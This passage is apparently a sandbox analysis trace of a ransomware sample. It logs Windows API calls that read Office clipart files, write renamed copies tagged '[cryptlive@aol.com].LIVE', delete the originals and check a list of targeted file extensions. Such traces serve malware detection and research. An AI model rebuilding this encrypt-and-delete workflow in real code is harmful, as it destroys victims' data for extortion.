office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0158.693] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.693] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.694] GetLastError () returned 0x0 [0158.694] ReadFile (in: hFile=0x3c4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2a00, lpOverlapped=0x0) returned 1 [0158.706] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2a10, lpOverlapped=0x0) returned 1 [0158.707] ReadFile (in: hFile=0x3c4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.707] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.707] SetEndOfFile (hFile=0x1b0) returned 1 [0158.707] CloseHandle (hObject=0x1b0) returned 1 [0158.707] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.707] SetEndOfFile (hFile=0x3c4) returned 1 [0158.710] CloseHandle (hObject=0x3c4) returned 1 [0158.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.711] lstrlenW (lpString=".doc") returned 4 [0158.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.711] lstrlenW (lpString=".docx") returned 5 [0158.711] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.711] lstrlenW (lpString=".pdf") returned 4 [0158.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.711] lstrlenW (lpString=".xls") returned 4 [0158.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.711] lstrlenW (lpString=".xlsx") returned 5 [0158.711] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.711] lstrlenW (lpString=".ppt") returned 4 [0158.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.711] lstrlenW (lpString=".zip") returned 4 [0158.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.711] lstrlenW (lpString=".rar") returned 4 [0158.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.711] lstrlenW (lpString=".bz2") returned 4 [0158.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.711] lstrlenW (lpString=".7z") returned 3 [0158.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.711] lstrlenW (lpString=".dbf") returned 4 [0158.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.712] lstrlenW (lpString=".1cd") returned 4 [0158.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.712] lstrlenW (lpString=".jpg") returned 4 [0158.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.712] lstrlenW (lpString=".doc") returned 4 [0158.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString=".docx") returned 5 [0158.712] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.712] lstrlenW (lpString=".pdf") returned 4 [0158.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString=".xls") returned 4 [0158.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.712] lstrlenW (lpString=".xlsx") returned 5 [0158.712] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.712] lstrlenW (lpString=".ppt") returned 4 [0158.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.712] lstrlenW (lpString=".zip") returned 4 [0158.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.712] lstrlenW (lpString=".rar") returned 4 [0158.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString=".bz2") returned 4 [0158.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString=".7z") returned 3 [0158.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.712] lstrlenW (lpString=".dbf") returned 4 [0158.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.712] lstrlenW (lpString=".1cd") returned 4 [0158.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned 63 [0158.713] lstrlenW (lpString=".jpg") returned 4 [0158.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.713] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.713] lstrlenW (lpString="J0152558.WMF") returned 12 [0158.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0158.713] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16052) returned 1 [0158.713] CloseHandle (hObject=0x3c4) returned 1 [0158.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 0x20 [0158.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0158.714] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.714] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0158.715] GetLastError () returned 0x0 [0158.715] ReadFile (in: hFile=0x3c4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3eb4, lpOverlapped=0x0) returned 1 [0158.757] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3ec0, lpOverlapped=0x0) returned 1 [0158.758] ReadFile (in: hFile=0x3c4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.758] WriteFile (in: hFile=0x1b0, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.758] SetEndOfFile (hFile=0x1b0) returned 1 [0158.758] CloseHandle (hObject=0x1b0) returned 1 [0158.759] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.759] SetEndOfFile (hFile=0x3c4) returned 1 [0158.763] CloseHandle (hObject=0x3c4) returned 1 [0158.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0158.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.764] lstrlenW (lpString=".doc") returned 4 [0158.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".docx") returned 5 [0158.765] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0158.765] lstrlenW (lpString=".pdf") returned 4 [0158.765] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".xls") returned 4 [0158.765] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.765] lstrlenW (lpString=".xlsx") returned 5 [0158.765] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0158.765] lstrlenW (lpString=".ppt") returned 4 [0158.765] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.765] lstrlenW (lpString=".zip") returned 4 [0158.765] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.765] lstrlenW (lpString=".rar") returned 4 [0158.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".bz2") returned 4 [0158.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".7z") returned 3 [0158.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.765] lstrlenW (lpString=".dbf") returned 4 [0158.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.765] lstrlenW (lpString=".1cd") returned 4 [0158.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.765] lstrlenW (lpString=".jpg") returned 4 [0158.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.765] lstrlenW (lpString=".doc") returned 4 [0158.765] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.765] lstrlenW (lpString=".docx") returned 5 [0158.765] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0158.765] lstrlenW (lpString=".pdf") returned 4 [0158.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString=".xls") returned 4 [0158.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.766] lstrlenW (lpString=".xlsx") returned 5 [0158.766] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0158.766] lstrlenW (lpString=".ppt") returned 4 [0158.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.766] lstrlenW (lpString=".zip") returned 4 [0158.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.766] lstrlenW (lpString=".rar") returned 4 [0158.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString=".bz2") returned 4 [0158.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString=".7z") returned 3 [0158.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.766] lstrlenW (lpString=".dbf") returned 4 [0158.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.766] lstrlenW (lpString=".1cd") returned 4 [0158.766] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152558.WMF") returned 63 [0158.766] lstrlenW (lpString=".jpg") returned 4 [0158.766] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.766] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.766] lstrlenW (lpString="J0152568.WMF") returned 12 [0158.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.863] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3696) returned 1 [0158.863] CloseHandle (hObject=0x1e0) returned 1 [0158.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 0x20 [0158.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0158.983] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.983] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.984] GetLastError () returned 0x0 [0158.984] ReadFile (in: hFile=0x1b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xe70, lpOverlapped=0x0) returned 1 [0158.994] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0158.995] ReadFile (in: hFile=0x1b4, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.995] WriteFile (in: hFile=0x1fc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.995] SetEndOfFile (hFile=0x1fc) returned 1 [0158.995] CloseHandle (hObject=0x1fc) returned 1 [0158.995] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.996] SetEndOfFile (hFile=0x1b4) returned 1 [0158.998] CloseHandle (hObject=0x1b4) returned 1 [0158.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.038] lstrlenW (lpString=".doc") returned 4 [0159.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.038] lstrlenW (lpString=".docx") returned 5 [0159.038] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.038] lstrlenW (lpString=".pdf") returned 4 [0159.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.038] lstrlenW (lpString=".xls") returned 4 [0159.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.038] lstrlenW (lpString=".xlsx") returned 5 [0159.038] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.038] lstrlenW (lpString=".ppt") returned 4 [0159.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.038] lstrlenW (lpString=".zip") returned 4 [0159.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.038] lstrlenW (lpString=".rar") returned 4 [0159.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.038] lstrlenW (lpString=".bz2") returned 4 [0159.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.039] lstrlenW (lpString=".7z") returned 3 [0159.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.039] lstrlenW (lpString=".dbf") returned 4 [0159.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.039] lstrlenW (lpString=".1cd") returned 4 [0159.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.039] lstrlenW (lpString=".jpg") returned 4 [0159.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.039] lstrlenW (lpString=".doc") returned 4 [0159.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.039] lstrlenW (lpString=".docx") returned 5 [0159.039] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.039] lstrlenW (lpString=".pdf") returned 4 [0159.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.039] lstrlenW (lpString=".xls") returned 4 [0159.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.039] lstrlenW (lpString=".xlsx") returned 5 [0159.039] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.040] lstrlenW (lpString=".ppt") returned 4 [0159.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.040] lstrlenW (lpString=".zip") returned 4 [0159.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.040] lstrlenW (lpString=".rar") returned 4 [0159.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString=".bz2") returned 4 [0159.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString=".7z") returned 3 [0159.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.040] lstrlenW (lpString=".dbf") returned 4 [0159.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.040] lstrlenW (lpString=".1cd") returned 4 [0159.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF") returned 63 [0159.040] lstrlenW (lpString=".jpg") returned 4 [0159.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.040] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.041] lstrlenW (lpString="J0152606.WMF") returned 12 [0159.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.081] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16632) returned 1 [0159.081] CloseHandle (hObject=0x314) returned 1 [0159.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 0x20 [0159.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.510] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.510] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.510] CreateFileW 